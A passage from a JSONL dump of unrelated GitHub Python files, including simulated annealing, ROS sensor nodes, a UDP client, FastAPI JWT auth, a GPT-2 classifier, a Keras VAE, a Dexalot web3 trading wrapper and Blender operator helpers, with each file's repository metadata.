processing : \", cmt_processed)\n processed_comments.append(cmt_processed)\n \n return np.array(processed_comments)\n\n'''\n#pattern for code line = [\\s]?([-\\.\\(\\)\\w])*[\\s]?=[\\s]?.*[\\s]?; \nic = data_preprocessing_2()\ndata = pd.read_csv(ic.input_file)\n\n# =============================================================================\n# string = data['Content'][1387]\n# #data = data.iloc[1387:1388,]\n# print(\"Initial String : \\n\", string)\n# print(\"Here\")\n# print(\"\\n\\nFinal String : \\n\", ic.detect_code_2(string,0))\n# #string = \"public void main(){ \\n }\"\n# \n# =============================================================================\n\ndf = ic.process_data(data)\ndf.to_csv(ic.output_file, sep=',')\n\n'''\n#print(\"final string is : \\n'\", string ,\"'\")\n#print(\"match : \", mt.start(), mt.end(), mt.group())","repo_name":"ahaque2/MOOC-text-Prioritization","sub_path":"data_preprocessing_2.py","file_name":"data_preprocessing_2.py","file_ext":"py","file_size_in_byte":13634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26128321805","text":"import math\nimport random\nimport time\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.random as rn\n\n\ndef plot_graphs(states, costs):\n \"\"\"Function to draw states and costs graph.\"\"\"\n plt.figure()\n plt.subplot(121)\n plt.plot(states, 'r')\n plt.title(\"States\")\n plt.subplot(122)\n plt.plot(costs[10:], 'b')\n plt.title(\"Costs\")\n plt.show()\n\n\ndef salomon(x):\n \"\"\"Salomon's Function\"\"\"\n sum_of_squares = math.sqrt(sum([pow(xi, 2) for xi in x]))\n return 1 - (math.cos(2 * math.pi * sum_of_squares)) + 0.1 * sum_of_squares\n\n\ndef random_neighbour(x, step):\n \"\"\"Random neighbour generating function\"\"\"\n if step % 2 == 0:\n return [xi * (1 + (random.uniform(-1, 1))) for xi in x]\n else:\n return [xi + random.uniform(-4, 4) for xi in x]\n\n\ndef acceptance_probability(cost, new_cost, temp):\n if new_cost < cost:\n return 1\n else:\n p = np.exp(- (new_cost - cost) / temp)\n return p\n\n\ndef simulated_annealing(t, start, T0, resets, graphs):\n \"\"\"Function simulating annealing\"\"\"\n # Find end time\n startTime = int(round(time.time() * 1000))\n endTime = startTime + t * 1000\n T = T0\n # set initial solution\n state = start\n cost = salomon(state)\n states, costs = [state], [cost]\n # lists for beautiful graphs!\n all_states, all_costs = [state], [cost]\n step = 1\n # while we have time and temperature is bigger than 0.\n while int(round(time.time() * 1000)) <= endTime and T > 0:\n step += 1\n # Decrease temperature\n T *= 0.99\n # If user prefers to use resets, it's implemented.\n if resets and cost > costs[len(costs) - 1] and step % 500000 == 0:\n state, cost = states[len(states) - 1], costs[len(costs) - 1]\n # Generate neighbour\n new_state = random_neighbour(state, step)\n new_cost = salomon(new_state)\n # if probability is bigger than float from range 0,1 ( The less time we have the less we jump to worse x)\n if acceptance_probability(cost, new_cost, T) > rn.random():\n state, cost = new_state, new_cost\n # Let's make history of our bests for example to make beautiful diagram cost/n.\n if costs[len(costs) - 1] > cost:\n costs.append(cost)\n states.append(state)\n # Data for graph (Avoiding repetitions to make graphs more clean)\n if cost not in all_costs:\n all_states.append(state)\n all_costs.append(cost)\n\n if graphs:\n plot_graphs(all_states, all_costs)\n return states, costs\n\n\ndef main(args):\n duration = int(args.split()[0]) # in seconds\n x = [float(i) for i in args.split()[1:]]\n\n states, costs = simulated_annealing(duration, x, T0=100, resets=False, graphs=True)\n\n for x in states[len(states) - 1]:\n print(x, end=' ')\n print(costs[len(costs) - 1])\n\n\nmain(input())\n","repo_name":"sqoshi/metaheuristic-alghoritms","sub_path":"simulated_annealing/sa_Salomon/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33680268238","text":"#!/usr/bin/python3\nimport smbus\nimport rospy\nimport sys\nfrom std_msgs.msg import Int32\nimport time\n\n\nclass Sensor:\n\tdef __init__(self):\n\t\t\n\t\tself.bus = smbus.SMBus((1))\t\n\t\t# напиши два кода под каждый датчик, так будет проще чем с этим ебаться\n\t\tself.bit = sys.argv[1]\n\t\t\n\t\tif self.bit == '90':\n\t\t\tself.bit = 0x5a\n\t\t\tself.sensor_pub = rospy.Publisher(f'/Rasp_PI/Left_sensor', Int32, queue_size=10)\n\t\t\trospy.init_node(\"Left_sensor_node\")\n\t\t\trospy.loginfo(\"Starting Left Sensor NODE\")\n\t\telif self.bit == '91':\n\t\t\tself.bit = 0x5b\n\t\t\tself.sensor_pub = rospy.Publisher(f'/Rasp_PI/Right_sensor', Int32, queue_size=10)\n\t\t\trospy.init_node(\"Right_sensor_node\")\n\t\t\trospy.loginfo(\"Starting Right Sensor NODE\")\n\n\t\trospy.logdebug(sys.argv)\n\t\tself.sensor_value = Int32()\n\t\n\tdef spin(self):\n\t\tif self.bit == None:\n\t\t\trospy.logerr(\"Doesn't have bit value\")\n\t\t\trospy.logerr(f\"{sys.argv}\")\n\t\telse:\n\t\t\twhile not rospy.is_shutdown():\n\t\t\t\ttry:\n\t\t\t\t\tself.sensor_value.data = int((self.bus.read_byte_data(self.bit, 0x07) * 5 / 9) - 32)\n\t\t\t\texcept OSError:\n\t\t\t\t\tpass\n\t\t\t\tself.sensor_pub.publish(self.sensor_value)\n\t\t\t\trospy.loginfo(self.sensor_value)\n\nif __name__ == \"__main__\":\n\tsensor_node = Sensor()\n\tsensor_node.spin()\n\n","repo_name":"Groove852/MAZE","sub_path":"catkin_ws/src/main/src/i2c.py","file_name":"i2c.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17251523553","text":"import socket #importando modulo socket\r\n\r\nHOST = 'localhost' #Endereço ip do cliente.\r\nPORT = 5000 #Número da porta udp para comunicação.\r\n\r\nudp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n\r\n#Variavel udp recebendo socket, abrindo uma porta em protocolo IPV4 \"socket.AF_INET\" no protocolo UDP \"socket.SOCK_DGRAM\".\r\n\r\ndestino = (HOST, PORT) \r\n\r\n#Tupla armazenando endereço ip e porta udp.\r\n\r\nwhile(True):\r\n mensagem = bytes(input('Digite sua mensagem: '),encoding='utf-8')\r\n udp.sendto(mensagem, destino)\r\n\r\n#Loop While para enviar \"Mensagem\" e informações do cliente para o server.\r\n\r\nudp.close #finalização do loop.","repo_name":"Swark28/Av60.-Allan-Alves-Vieira","sub_path":"Avaliação 60pts. Allan Alves Vieira/udp-client.py","file_name":"udp-client.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38719958941","text":"from typing import Optional\nfrom models.database import database\nfrom fastapi import Depends, HTTPException, status\nfrom jose import jwt, JWTError\nfrom pydantic import BaseModel\n\nfrom core.auth import oauth2_scheme\nfrom core.config import settings\nfrom models.customers import customers_table\n\n\nclass TokenData(BaseModel):\n username: Optional[str] = None\n\n\nasync def get_current_user(token: str = Depends(oauth2_scheme)):\n credentials_exception = HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=\"Could not validate credentials\",\n headers={\"WWW-Authenticate\": \"Bearer\"},\n )\n try:\n payload = jwt.decode(\n token,\n settings.SECRET_KEY,\n algorithms=[settings.ALGORITHM],\n options={\"verify_aud\": False},\n )\n username: str = payload.get(\"sub\")\n\n if username is None:\n raise credentials_exception\n token_data = TokenData(username=username)\n except JWTError:\n raise credentials_exception\n query = customers_table.select().where(customers_table.c.id == token_data.username)\n user = await database.fetch_one(query)\n if user is None:\n raise credentials_exception\n return user\n","repo_name":"romanselivanov/FastApiBank","sub_path":"utils/deps.py","file_name":"deps.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23264975513","text":"import io\nimport os\nimport torch\nfrom tqdm import tqdm\nfrom torch.utils.data import Dataset, DataLoader\nfrom ml_things import plot_dict, plot_confusion_matrix, fix_text\nfrom sklearn.metrics import classification_report, accuracy_score\nfrom transformers import (set_seed,\n TrainingArguments,\n Trainer,\n GPT2Config,\n GPT2Tokenizer,\n AdamW, \n get_linear_schedule_with_warmup,\n GPT2ForSequenceClassification)\n\n# Set seed for reproducibility.\nset_seed(123)\n\n# Number of training epochs (authors on fine-tuning Bert recommend between 2 and 4).\nepochs = 4\n\n# Number of batches - depending on the max sequence length and GPU memory.\n# For 512 sequence length batch of 10 works without cuda memory issues.\n# For small sequence length can try batch of 32 or higher.\nbatch_size = 32\n\n# Pad or truncate text sequences to a specific length\n# if `None` it will use maximum sequence of word piece tokens allowed by model.\nmax_length = None\n\n# Look for gpu to use. Will use `cpu` by default if no gpu found.\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n# Name of transformers model - will use already pretrained model.\n# Path of transformer model - will load your own model from local disk.\nmodel_name_or_path = 'gpt2'\n\n# Get model configuration.\nprint('Loading configuraiton...')\nmodel_config = GPT2Config.from_pretrained(pretrained_model_name_or_path=model_name_or_path, num_labels=1)\n\n# Get model's tokenizer.\nprint('Loading tokenizer...')\ntokenizer = GPT2Tokenizer.from_pretrained(pretrained_model_name_or_path=model_name_or_path)\n# default to left padding\ntokenizer.padding_side = \"left\"\n# Define PAD Token = EOS Token = 50256\ntokenizer.pad_token = tokenizer.eos_token\n\n\n# Get the actual model.\nprint('Loading model...')\nmodel = GPT2ForSequenceClassification.from_pretrained(pretrained_model_name_or_path=model_name_or_path, config=model_config)\n\n# resize model embedding to match new tokenizer\nmodel.resize_token_embeddings(len(tokenizer))\n\n# fix model padding token id\nmodel.config.pad_token_id = model.config.eos_token_id\n\n# Load model to defined device.\nmodel.to(device)\nprint('Model loaded to `%s`'%device)\n\n","repo_name":"tanzir5/peopleNet","sub_path":"GPT2_Classifier/gpt2_predictor.py","file_name":"gpt2_predictor.py","file_ext":"py","file_size_in_byte":2303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24290922859","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jun 3 10:53:50 2019\r\n\r\n@author: Anthony\r\n\"\"\"\r\nimport numpy as np\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.colors import NoNorm\r\n\r\nfrom keras.layers import Input, Dense, Conv2D, MaxPooling2D, UpSampling2D, Flatten, Reshape\r\nfrom keras.layers import Lambda\r\nfrom keras.models import Model\r\nfrom keras import backend as K\r\nfrom keras import regularizers\r\nfrom keras import losses\r\n\r\nfrom keras.datasets import mnist\r\n\r\n(x_train, _), (x_test, _) = mnist.load_data()\r\n\r\n\r\n\r\nx_train = x_train.astype('float32') / 255.\r\nx_test = x_test.astype('float32') / 255.\r\nx_train = np.reshape(x_train, (len(x_train), 28, 28, 1)) \r\nx_test = np.reshape(x_test, (len(x_test), 28, 28, 1))\r\n\r\ndef encoder_layers(input_dim, latent_dim):\r\n # Encoder\r\n input_layer = Input(shape=input_dim)\r\n x = Conv2D(8, 3, activation='relu', padding='same')(input_layer)\r\n x = Conv2D(8, 3, activation='relu', padding='same')(x)\r\n x = Conv2D(8, 3, activation='relu', padding='same')(x)\r\n x = MaxPooling2D(2, padding='same')(x) # Size 14x14x8\r\n x = Conv2D(16, 3, activation='relu', padding='same')(x)\r\n x = Conv2D(16, 3, activation='relu', padding='same')(x)\r\n x = Conv2D(16, 3, activation='relu', padding='same')(x)\r\n x = MaxPooling2D(2, padding='same')(x) # Size 7x7x16\r\n x = Conv2D(32, 3, activation='relu', padding='same')(x)\r\n x = Conv2D(32, 3, activation='relu', padding='same')(x)\r\n x = Conv2D(32, 3, activation='relu', padding='same')(x)\r\n x = Flatten()(x) # Size 1568 = 7x7x32\r\n \r\n x = Dense(100, activation='relu')(x)\r\n \r\n z_mean = Dense(latent_dim)(x)\r\n z_log_var = Dense(latent_dim)(x)\r\n\r\n return Model(input_layer, (z_mean, z_log_var))\r\n\r\ndef sampling_layer(latent_dim):\r\n \r\n z_mean = Input(shape=(latent_dim,))\r\n z_log_var = Input(shape=(latent_dim,))\r\n \r\n stats = [z_mean, z_log_var]\r\n \r\n def sampling(stats):\r\n z_mean, z_log_var = stats\r\n epsilon = K.random_normal(shape=K.shape(z_mean), mean=0., stddev=1) # standard normal distribution\r\n return z_mean + K.exp(0.5 * z_log_var) * epsilon\r\n \r\n z = Lambda(sampling)(stats)\r\n \r\n return Model(stats, z)\r\n\r\n\r\ndef decoder_layers(latent_dim):\r\n # Decoder\r\n z = Input(shape=(latent_dim,))\r\n \r\n x = Dense(100, activation='relu')(z)\r\n \r\n x = Dense(1568)(x)\r\n x = Reshape((7, 7, 32))(x) # Size 7x7x32\r\n x = Conv2D(32, 3, activation='relu', padding='same')(x)\r\n x = Conv2D(32, 3, activation='relu', padding='same')(x)\r\n x = Conv2D(32, 3, activation='relu', padding='same')(x)\r\n x = UpSampling2D(2)(x) # Size 14x14x16\r\n x = Conv2D(16, 3, activation='relu', padding='same')(x)\r\n x = Conv2D(16, 3, activation='relu', padding='same')(x)\r\n x = Conv2D(16, 3, activation='relu', padding='same')(x)\r\n x = UpSampling2D(2)(x) # Size 28x28x16\r\n x = Conv2D(8, 3, activation='relu', padding='same')(x) # Size 28x28x8\r\n x = Conv2D(8, 3, activation='relu', padding='same')(x) # Size 28x28x8\r\n output_layer = Conv2D(1, 3, activation='relu', padding='same')(x)\r\n \r\n return Model(z, output_layer)\r\n\r\n\r\nbatch_size = 128\r\nepochs = 2\r\n\r\ninput_dim = (28, 28, 1)\r\nlatent_dim = 10\r\n\r\nencoder = encoder_layers(input_dim, latent_dim)\r\nsampler = sampling_layer(latent_dim)\r\ndecoder = decoder_layers(latent_dim)\r\n\r\ninputs = Input(shape=input_dim)\r\nstats = encoder(inputs)\r\nz = sampler(stats)\r\noutputs = decoder(z)\r\n\r\nmodel_vae = Model(inputs, outputs)\r\n\r\n\r\nz_mean, z_log_var = stats\r\n\r\ndef vae_loss(inputs, outputs):\r\n x_loss = K.sum(K.square(inputs - outputs), axis=(1,2,3))\r\n kl_loss = - 0.5 * K.sum(1 + z_log_var - K.exp(z_log_var) - K.square(z_mean), axis=1)\r\n return K.mean(x_loss + kl_loss)\r\n\r\nmodel_vae.compile(optimizer='adam', loss=vae_loss)\r\nmodel_vae.fit(x_train, x_train, batch_size=batch_size, epochs=epochs, validation_data=(x_test, x_test))\r\n\r\n\r\ndecoded_imgs = model_vae.predict(x_test)\r\n\r\nn = 10\r\nplt.figure(figsize=(20, 4))\r\nfor i in range(1, n):\r\n # display original\r\n ax = plt.subplot(2, n, i)\r\n plt.imshow(x_test[i].reshape(28, 28))\r\n plt.gray()\r\n ax.get_xaxis().set_visible(False)\r\n ax.get_yaxis().set_visible(False)\r\n\r\n # display reconstruction\r\n ax = plt.subplot(2, n, i + n)\r\n plt.imshow(decoded_imgs[i].reshape(28, 28))\r\n plt.gray()\r\n ax.get_xaxis().set_visible(False)\r\n ax.get_yaxis().set_visible(False)\r\n\r\n\r\n\r\nz = Input((latent_dim,)) \r\noutputs = decoder(z)\r\ngenerator = Model(z, outputs)\r\n\r\n\r\n\r\nn = 10\r\nz = np.random.multivariate_normal(np.zeros(latent_dim), np.eye(latent_dim), n**2)\r\ngen_img = generator.predict(z)\r\n\r\nplt.figure(figsize=(n,n))\r\nfor i in range(n*n):\r\n ax = plt.subplot(n, n, i + 1)\r\n plt.imshow(gen_img[i].reshape((28, 28)))\r\n plt.gray()\r\n ax.get_xaxis().set_visible(False)\r\n ax.get_yaxis().set_visible(False)\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"anthonychiuhy/CNN-Variational-Autoencoder-MNIST","sub_path":"convo_bearing vae.py","file_name":"convo_bearing vae.py","file_ext":"py","file_size_in_byte":4875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32909674617","text":"#!/usr/bin/env python \n###################################\n# TESTING PURPOSES \n#\n###################################\nimport roslib\nimport rospy\nimport tf\n\nif __name__ == '__main__':\n rospy.init_node('fixed_tf_broadcaster')\n br = tf.TransformBroadcaster()\n rate = rospy.Rate(10.0)\n\n while not rospy.is_shutdown():\n br.sendTransform((0.0, 2.0, 0.0),\n (0.0, 0.0, 0.0, 1.0),\n rospy.Time.now(),\n \"map\",\n \"pak123\")\n\nrate.spin()","repo_name":"umerjamil16/castaway-on-island","sub_path":"ca_main/src/goal_tf_br.py","file_name":"goal_tf_br.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20155766001","text":"'''\nDefines contract structure for the Dexalot challenge\n'''\n\nfrom web3 import HTTPProvider, Web3\nfrom web3.middleware import geth_poa_middleware\nfrom eth_account import Account\nfrom web3.middleware import construct_sign_and_send_raw_middleware\nimport utils \nimport requests\nimport decimal\n\nORDER_SIDE_BUY = 0 \nORDER_SIDE_SELL = 1\n\nORDER_TYPE_MARKET = 0\nORDER_TYPE_LIMIT = 1\n\nORDER_BOOK_DEPTH_TOP_OF_BOOK = 1\nORDER_BOOK_DEPTH_BEST_PRICE = 2\n\nclass Contracts :\n last_buy_order_id = \"\" \n last_sell_order_id = \"\" \n\n # initate web3 request with rpc \n def __init__(self, logger, rpc_url, sender_address, private_key, token_pair, pairs):\n self.logger = logger \n self.rpc_url = rpc_url\n self.sender_address = sender_address\n self.private_key = private_key\n self.pairs = pairs \n self.default_token_pair = token_pair \n\n self.web3 = Web3(HTTPProvider(rpc_url))\n self.web3.middleware_onion.inject(geth_poa_middleware, layer=0)\n self.register_private_key(private_key)\n \n # registers web3 private key \n def register_private_key(self, private_key):\n assert (isinstance(self.web3, Web3))\n account = Account.privateKeyToAccount(private_key)\n self.web3.middleware_onion.add(construct_sign_and_send_raw_middleware(account))\n self.web3.eth.default_account = account.address \n\n # get all reference data for contracts\n def load_reference_data(self) :\n # define list of relevant reference data to retrieve \n deployTypes = [\"Exchange\", \"Portfolio\", \"TradePairs\", \"OrderBooks\"]\n self.deployments, self.contracts = {}, {}\n # for each type, request reference data from dexalot api \n for deployType in deployTypes:\n deploy = requests.get(\"https://api.dexalot-dev.com/api/trading/deploymentabi/%s\" % deployType).json()\n self.deployments[deployType] = deploy \n self.contracts[deployType] = self.web3.eth.contract(address=deploy[\"address\"], abi=deploy[\"abi\"][\"abi\"])\n\n def get_contract_exchange(self) :\n return self.contracts[\"Exchange\"]\n\n def get_contract_portfolio(self) :\n return self.contracts[\"Portfolio\"]\n\n def get_contract_order_books(self) :\n return self.contracts[\"Orderbooks\"]\n\n def get_contract_trade_pairs(self) :\n return self.contracts[\"TradePairs\"]\n\n # builds transaction by combining default params with override key values \n def built_transaction(self, override=None) :\n # default params for transaction \n params = {\n \"nonce\": self.web3.eth.get_transaction_count(self.web3.eth.default_account),\n 'gas': 2000000,\n 'gasPrice': self.web3.toWei('100', 'gwei'),\n #'gas': web3.eth.generate_gas_price(txn),\n #'gasPrice': web3.eth.estimate_gas(txn),\n }\n # for each key value in override, update params \n if override is not None :\n for k in override.keys() :\n params[k] = override[k]\n \n return params \n\n def format_decimal_quote(self, value, token_pair=None) :\n if token_pair is None :\n token_pair = self.default_token_pair \n\n return utils.to_wei(value, self.pairs[token_pair][\"quote_evmdecimals\"], self.pairs[token_pair][\"quotedisplaydecimals\"])\n\n def format_decimal_base(self, value, token_pair=None) :\n if token_pair is None :\n token_pair = self.default_token_pair\n\n return utils.to_wei(value, self.pairs[token_pair][\"base_evmdecimals\"], self.pairs[token_pair][\"basedisplaydecimals\"])\n\n def parse_decimal_quote(self, value, token_pair=None, display_decimals=None) :\n if token_pair is None :\n token_pair = self.default_token_pair\n if display_decimals is None :\n display_decimals = self.pairs[token_pair][\"quotedisplaydecimals\"] \n\n return utils.from_wei(value, self.pairs[token_pair][\"quote_evmdecimals\"], display_decimals)\n\n def parse_decimal_base(self, value, token_pair=None, display_decimals=None) :\n if token_pair is None :\n token_pair = self.default_token_pair\n if display_decimals is None :\n display_decimals = self.pairs[token_pair][\"basedisplaydecimals\"] \n\n return utils.from_wei(value, self.pairs[token_pair][\"base_evmdecimals\"], display_decimals)\n\n # get AVAX balance for current account wallet\n def get_balance(self): \n return self.web3.fromWei(self.web3.eth.get_balance(self.sender_address), 'ether') \n\n # deposit tokens from wallet into portfolio\n def deposit_token(self, fromAddress, symbol, quantity):\n contract = self.get_contract_portfolio()\n\n fromAddress = Web3.toChecksumAddress(fromAddress)\n symbol = self.web3.toBytes(text=symbol)\n quantity = self.format_decimal_base(quantity)\n\n txn = contract.functions.depositToken(fromAddress, symbol, quantity)\n txn = txn.buildTransaction(self.built_transaction())\n signed_txn = self.web3.eth.account.sign_transaction(txn, private_key=self.private_key)\n tx_token = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction) \n\n txn_receipt = self.web3.eth.waitForTransactionReceipt(tx_token)\n self.logger.debug(\"deposit_token\", str(fromAddress), str(symbol), str(quantity), str(txn_receipt))\n\n return tx_token\n\n # for a trading pair, cancel single order given id of order \n def cancel_order(self, order_id, teamPair) :\n contract = self.get_contract_trade_pairs()\n\n txn = contract.functions.cancelOrder(self.web3.toBytes(text=teamPair), order_id)\n txn = txn.buildTransaction(self.built_transaction())\n signed_txn = self.web3.eth.account.sign_transaction(txn, private_key=self.private_key)\n tx_token = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction)\n\n txn_receipt = self.web3.eth.waitForTransactionReceipt(tx_token)\n self.logger.debug(\"cancel_order\", str(order_id), str(teamPair), str(txn_receipt))\n\n return tx_token \n\n # for a trading pair, cancel list of orders given their ids \n def cancel_all_orders(self, order_ids, teamPair) :\n contract = self.get_contract_trade_pairs()\n\n txn = contract.functions.cancelAllOrders(self.web3.toBytes(text=teamPair), order_ids)\n \n txn = txn.buildTransaction(self.built_transaction())\n signed_txn = self.web3.eth.account.sign_transaction(txn, private_key=self.private_key)\n tx_token = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction)\n\n txn_receipt = self.web3.eth.waitForTransactionReceipt(tx_token)\n self.logger.debug(\"cancel_all_orders\", str(order_ids), str(teamPair), str(txn_receipt))\n\n return tx_token \n\n # for given trading pair id, get symbol \n def get_symbol(self, tradePairId, isBase):\n contract = self.get_contract_exchange()\n return contract.functions.getSymbol(self.web3.toBytes(text=tradePairId), isBase).call()\n\n # add a new order to the order book for a trade pair\n def add_order(self, trade_pair_id, price, quantity, order_side, order_type):\n contract = self.get_contract_trade_pairs()\n\n if order_type == ORDER_TYPE_MARKET and price is None :\n price = 0 \n else : \n price = self.format_decimal_quote(price)\n quantity = self.format_decimal_base(quantity)\n\n txn = contract.functions.addOrder(self.web3.toBytes(text=trade_pair_id), price, quantity, order_side, order_type)\n\n txn = txn.buildTransaction(self.built_transaction())\n signed_txn = self.web3.eth.account.sign_transaction(txn, private_key=self.private_key)\n tx_token = self.web3.eth.send_raw_transaction(signed_txn.rawTransaction)\n\n txn_receipt = self.web3.eth.waitForTransactionReceipt(tx_token)\n self.logger.debug(\"add_order\", str(trade_pair_id), str(price), str(quantity), str(order_side), str(order_type), str(txn_receipt))\n\n return tx_token\n\n # estimate the gas for adding an order to the order book for a trade pair\n def estimate_order_gas(self, trade_pair_id, price, quantity, order_side, order_type):\n contract = self.get_contract_trade_pairs()\n\n price = self.format_decimal_quote(price)\n quantity = self.format_decimal_base(quantity)\n\n estimated_gas = contract.functions.addOrder(self.web3.toBytes(text=trade_pair_id), price, quantity, order_side, order_type).estimateGas()\n \n return estimated_gas \n\n # for given order id, get array of order details \n def get_order(self, order_id) :\n contract = self.get_contract_trade_pairs()\n\n tx = contract.functions.getOrder(order_id).call()\n \n resp = { \n \"id\": tx[0],\n \"price\": decimal.Decimal(tx[1]),\n \"totalamount\": tx[2],\n \"quantity\": decimal.Decimal(tx[3]),\n \"quantityfilled\": decimal.Decimal(tx[4]),\n \"totalfee\": decimal.Decimal(tx[5]),\n \"traderaddress\": tx[6],\n \"side\": tx[7],\n \"type1\": tx[8],\n \"status\": tx[9], \n }\n return resp \n\n # get the buy order book from the block chain\n def getOrderBookBuy(self, trade_pair_id, req_depth, limit=1) :\n if limit == 0 :\n limit = 1\n contract = self.get_contract_trade_pairs() \n\n res = contract.functions.getNBuyBook(self.web3.toBytes(text=trade_pair_id), req_depth, limit, 0, self.last_buy_order_id).call()\n\n orders = [] \n\n if len(res[0]) > 0 :\n for f in res[0] :\n if f != 0 :\n orders.append(f)\n\n if len(res[1]) > 0 :\n for f in res[1] :\n if f != 0 :\n orders.append(f)\n\n if len(orders) > 0 :\n cur_price = res[2]\n self.last_buy_order_id = res[3] \n else :\n cur_price = 0 \n\n return orders, cur_price\n\n # get the sell order book from the block chain\n def getOrderBookSell(self, trade_pair_id, req_depth, limit=1) :\n if limit == 0 :\n limit = 1\n\n contract = self.get_contract_trade_pairs() \n\n res = contract.functions.getNSellBook(self.web3.toBytes(text=trade_pair_id), req_depth, limit, 0, self.last_sell_order_id).call()\n\n orders = [] \n\n if len(res[0]) > 0 :\n for f in res[0] :\n if f != 0 :\n orders.append(f)\n\n if len(res[1]) > 0 :\n for f in res[1] :\n if f != 0 :\n orders.append(f) \n\n if len(orders) > 0 :\n cur_price = res[2]\n self.last_sell_order_id = res[3] \n else :\n cur_price = 0 \n\n return orders, cur_price \n\n # for given id of trading pair, get auction data \n def getAuctionData(self, trade_pair_id) :\n contract = self.get_contract_trade_pairs() \n\n return contract.functions.getAuctionData(self.web3.toBytes(text=trade_pair_id)).call()\n \n\n\n ","repo_name":"leegitw/crypto-conquistadoras","sub_path":"contracts.py","file_name":"contracts.py","file_ext":"py","file_size_in_byte":11081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1339530811","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 26 22:14:49 2017\n\n@author: Justin.Stuck\n\"\"\"\n\nimport numpy as np\n\ndef encoded_val(x):\n \"\"\" :param x: the dyadic numeral encoding \n :return: the conceptual number encoded by x\n \"\"\"\n \n val = 0\n power = 0\n while x>0:\n val += (2**power)*(2-x%2)\n x = x//10\n power += 1\n return val\n \n\ndef dyadic_encoder(x):\n \"\"\" :param x: the conceptual number you want to encode\n :return: the dyadic numeral encoding\n \"\"\"\n \n encoding_length = int(np.log2(x))\n encoding = int((1./9)*10**encoding_length)\n encoded_concept_val = encoded_val(encoding)\n for i in reversed(range(encoding_length)):\n if encoded_concept_val == x:\n break\n else:\n tmp_encoding = encoding + 10**i\n if encoded_val(tmp_encoding) <= x:\n encoding = tmp_encoding\n return encoding\n \n\n\nif __name__ == \"__main__\":\n conceptual_nums = [535, 235, 914]\n for num in conceptual_nums:\n print(dyadic_encoder(num))\n concat = int(str(dyadic_encoder(235)) + str(dyadic_encoder(914)))\n print(concat)\n print(encoded_val(concat))\n ","repo_name":"justin-stuck/Logic","sub_path":"dyadic_encoder.py","file_name":"dyadic_encoder.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"13037778507","text":"import bpy\nimport inspect\nfrom bpy.props import *\nfrom . blender_ui import redrawAll\n\ncreatedOperators = []\n\ndef makeOperator(idName, label, arguments = [], *, redraw = False, confirm = False,\n description = \"\", options = {\"REGISTER\", \"INTERNAL\", \"UNDO\"}):\n def makeOperatorDecorator(function):\n operator = getOperatorForFunction(function, idName, label, arguments, redraw,\n confirm, description, options)\n bpy.utils.register_class(operator)\n createdOperators.append(operator)\n return function\n return makeOperatorDecorator\n\ndef getOperatorForFunction(function, idName, label, arguments, redraw, confirm, description, options):\n def invoke(self, context, event):\n if confirm:\n return context.window_manager.invoke_confirm(self, event)\n else:\n return self.execute(context)\n\n def execute(self, context):\n parameters = list(iterParameterNamesAndDefaults(function))\n function(*[getattr(self, name) for name, _ in parameters])\n if redraw:\n redrawAll()\n return {\"FINISHED\"}\n\n operator = type(idName, (bpy.types.Operator, ), {\n \"bl_idname\" : idName,\n \"bl_label\" : label,\n \"bl_description\" : description,\n \"bl_options\" : options,\n \"invoke\" : invoke,\n \"execute\" : execute })\n operator.__annotations__ = {}\n\n parameters = list(iterParameterNamesAndDefaults(function))\n for argument, (name, default) in zip(arguments, parameters):\n if argument == \"Int\": propertyType = IntProperty\n elif argument == \"String\": propertyType = StringProperty\n else: raise ValueError(\"cannot create property of this type\")\n\n if default is None: operator.__annotations__[name] = propertyType()\n else: operator.__annotations__[name] = propertyType(default = default)\n\n return operator\n\ndef iterParameterNamesAndDefaults(function):\n for parameter in inspect.signature(function).parameters.values():\n default = parameter.default if isinstance(parameter.default, (int, float, str)) else None\n yield (parameter.name, default)\n\ndef register():\n for operator in createdOperators:\n try: bpy.utils.register_class(operator)\n except: pass\n\ndef unregister():\n for operator in createdOperators:\n bpy.utils.unregister_class(operator)\n","repo_name":"JacquesLucke/animation_nodes","sub_path":"animation_nodes/utils/operators.py","file_name":"operators.py","file_ext":"py","file_size_in_byte":2395,"program_lang":"python","lang":"en","doc_type":"code","stars":2231,"dataset":"github-code","pt":"81"} +{"seq_id":"23259904934","text":"word = 'V__V'\nmo = 'AEIOU'\nja = 'CBDFGHJKLMNPQRSTVWXYZ'\nalphabet = mo + ja\nword = list(word)\n\ndef find_underbar(word):\n for i in range(len(word)):\n if word[i] == '_':\n return i\n return None\n\ndef check(word):\n m = 0\n j = 0\n l = 0\n for i in range(len(word)):\n if word[i] in mo:\n if j > 0:\n j = 0\n m += 1\n if m >= 3:\n return 0\n elif word[i] in ja:\n if word[i] == 'L':\n l 